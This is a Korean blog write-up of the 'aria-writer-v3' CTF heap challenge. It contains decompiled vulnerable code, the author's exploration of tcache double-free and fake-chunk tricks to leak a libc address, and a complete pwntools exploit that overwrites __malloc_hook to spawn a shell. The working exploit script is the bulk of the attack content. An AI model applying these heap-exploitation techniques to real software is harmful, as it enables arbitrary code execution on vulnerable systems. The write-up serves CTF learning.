glibc-2.28
#1. 문제 살펴보기
#2. 문제 분석하기
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // [rsp+4h] [rbp-Ch]
int v5; // [rsp+Ch] [rbp-4h]
qword_6020E8 = 4919LL;
qword_6020F0 = 1056LL;
setvbuf(stdout, 0LL, 2, 0LL);
printf("whats your name > ");
fgets(s, 232, stdin); // bof
v4 = strlen(s);
if ( s[v4 - 1] == 10 )
s[v4 - 1] = 0;
printf("hi %s!\n", s);
while ( 1 )
{
while ( 1 )
{
comment();
v3 = get_int();
if ( v3 == 1 )
break;
if ( v3 != 2 )
{
puts("That's not a choice! :(");
exit(0);
}
puts("ok that letter was bad anyways...");
free(curr); // dfb
}
puts("how long should it be? ");
v5 = get_int();
if ( v5 <= 0 )
break;
if ( v5 > 420 )
{
puts("i can't write that much :/");
exit(0);
}
if ( dword_6020F8 > 256 )
{
puts("how much paper do you want to use :/");
exit(0);
}
++dword_6020F8;
curr = malloc(v5);
printf("what should i write tho > ");
read(0, curr, v5);
}
puts("omggg haxor!1!");
exit(0);
}
int win()
{
return system("/bin/sh");
}
어떻게든 win함수가 실행되도록 하면 되겠다!
#3. 삽질
1번 메뉴를 호출하게 되면 bss 영역의 curr 에 할당한 주소를 넣게되는데
계속 할당을 하더라도 가장 마지막에 할당된 청크의 주소가 담기게 된다.
또한 glibc 2.27버전에서 0x10~0x400까지의 청크는 tcache를 통해 관리되는데
double-free-bug을 검사하지 않기때문에 free(curr) 에서 DFB가 발생하게 된다.
이후 tcache 에서는 fastbin이 관리하는 방법과 같이 크기가 동일한 chunk를 할당하게되면
다음 할당은 fastbin의 fd에 해당하는 위치를 참조하여 다음에 할당을 하게 되는데
fd값만 잘 조작한다면 원하는 위치에 값을 덮을 수 있을 것같다.
대충 취약점이 발생하는 부분을 찾았으니 이제 쉘을 따기 위해 시나리오를 작성해보자
exploit을 하기 위해서는 먼저 libc의 주소를 leak 해야한다.
libc를 leak하기 위해서 출력해주는 함수가 없는지 찾아보다가
계속적으로 bss영역에 있는 변수 s 문자열을 출력해주는 점이 보였다.
int comment()
{
printf("%s! rob needs your help composing an aria \n", s);
puts("1) write something ");
return puts("2) throw it away ");
}
2019-10-13 17:01:10 여기서 포기하다..
name이 적히는 bss영역의 변수 s 에다가 main_arena+88 과 같은 fd값이 적히도록 하고싶음 ->
s 근처에 fake size(unsorted bin이 관리하는 크기 정도)를 만들고 ->
포인터 주소를 가르키는 curr 에다가 fake chunck 주소를 주면 ->
free를 함과 동시에 bss영역인 s에 fd값(main_arena+88)이 적히지 않겠는가?!
[ ? ] name이 적히는 bss변수 위에 size를 설정해두고 name 주솟값을 curr에 넣어 free 시킨다.
* 알아두면 좋은 상식
포인터를 이용하여 동적할당을 할때 할당하려는 주소의 값이 0으로 끝나야 한다
즉, size 값이 8로 끝나는 주솟값에 적혀야 한다는 의미이다.
예시)
0xbe7330에 data가 적히는 heap chunk의 size는 반드시 0xbe7238에 적혀야 한다는 것이다
0xbe7338에 data가 적히도록 하는 heap chunk는 할당할 수 없다는 뜻이다.
[ ! ] 하지만 bss 영역을 확인해보면
포인터 주솟값이 담기는 curr이 name이 담기는 s와 붙어있기때문에 fake size를 적을 수가 없다.
만약 0x601과 같은 값을 curr 에 적게 된다면 이다음 free나 malloc 을 하게되면
0x600 에 담긴 공간에다가 할당을 하거나 해제를 하게 될 것이다.
[ ? ] 그럼 이름의 중간에 fd값이 적히도록 해보자!
이 상태로 free를 한다면 name의 중간부분에 fd값이 적히게 되고 %s로 출력해주지 않을까?
[ ! ] unsorted bin에 의해 관리될 경우 chunk 병합이 일어난다.
근데 왜 double free or corruption 이 일어나는 것일까...
[ ? ] fake size를 미리 만들어두고 탑청크와 병합이 일어나지 않도록 한다.
[ ! ] malloc 함수는 할당할 때에 적힌 값들을 null값으로 초기화 시키고 값을 입력한다.
[ ? ] curr 값을 수정하여 name에서 fd값이 적힌 위치까지 더미를 넣어보자
main_arena+96 의 값을 leak 해냈으니 malloc_hook의 위치도 알 수 있겠다.
malloc_hook의 위치도 알고 있고
win함수(system(/bin/sh))가 존재하므로
malloc_hook을 win함수로 덮으면 되겠다.
덮은 방법은 [ 8-1 ] babyheap 과 같으니 생략하겠다.
#4. Exploit Code
from pwn import*
p = process('./aria-writer-v3')
### gadget
free_got = 0x601F90
free_plt = 0x400700
win_addr = 0x4008A7
bss_name = 0x602048
fake_addr = 0x602660
curr = 0x602040
### def
def write(size,comment):
p.sendafter('Gimme int pls > ','1')
p.sendafter('Gimme int pls > ',str(size))
p.sendafter('what should i write tho > ',str(comment))
def delete():
p.sendafter('Gimme int pls > ','2')
# input name
pay = ''
pay += 'Myname'
p.sendlineafter('whats your name > ',pay)
### leak
# DFB for leak
write(0x30, 'a'*8)
delete()
delete()
## DFB for exploit
write(0x10, 'z'*8)
delete()
delete()
# fake size(1)
write(0x20,'b'*8)
delete()
delete()
delete()
write(0x20, p64(fake_addr-0x10))
write(0x20, 'b'*8)
write(0x20, p64(0)+p64(0x21))
# fake size(2)
write(0x20,'c'*8)
delete()
delete()
delete()
write(0x20, p64(fake_addr+0x10))
write(0x20, 'c'*8)
write(0x20, p64(0)+p64(0x21))
# put fake size on name
write(0x60,'d'*8)
delete()
delete()
delete()
write(0x60, p64(bss_name+0x18))
write(0x60, 'd'*8)
write(0x60, p64(0)+p64(0x601))
# fake chunck free
write(0x50,'e'*8)
delete()
delete()
delete()
write(0x50,p64(curr))
write(0x50,'e'*8)
write(0x50,p64(0x602060)+p64(0)*2+p64(0x601))
delete() # <- unsorted bin main_arena+88 write on bss
# fill in NULL
write(0x30, p64(0x602048))
write(0x30, 'a'*8)
write(0x30, 'a'*24)
# get main_arena+88
p.recvuntil('a'*24)
main_arena = u64(p.recv(6).ljust(8,'\x00'))
malloc_hook = main_arena-112
print hex(main_arena)
print hex(malloc_hook)
# cover malloc_hook on win_func
write(0x10,p64(malloc_hook))
write(0x10,'z'*8)
write(0x10,p64(0x4008a7)+p64(0x4008a7))
# get sh
p.send('1')
p.send('8') # <- end
p.interactive()
이번 exploit에서 주의해야할점
1. tcache는 0x400까지 관리한다.
2. unsorted bin 에 의해 관리가 넘어간뒤에 0x10~0x400 를 할당할 경우 tcache bin 에 있는 크기를 비교한뒤 없으면 unsorted bin 에 저장된 chunk를 분할하여 할당한다.
3. 관리가 unsorted bin 에 의해 관리가 넘어간 뒤에 tcache bin에 있는 사이즈만큼 할당하면 tcache로 할당된다.
'CTF Review' 카테고리의 다른 글
[ stack ] Rooters CTF 2019 baby_pwn (0) | 2019.11.13 |
---|---|
[ heap ] Backdoorctf 2019 babytcache (0) | 2019.11.06 |
[ stack ] BSidesSF 2019 CTF slowfire 미완성 (0) | 2019.11.04 |
[ heap ] 0CTF 2019 baby_aegis (0) | 2019.10.31 |
[ stack ] NACTF 2019 bufover-1 (0) | 2019.10.03 |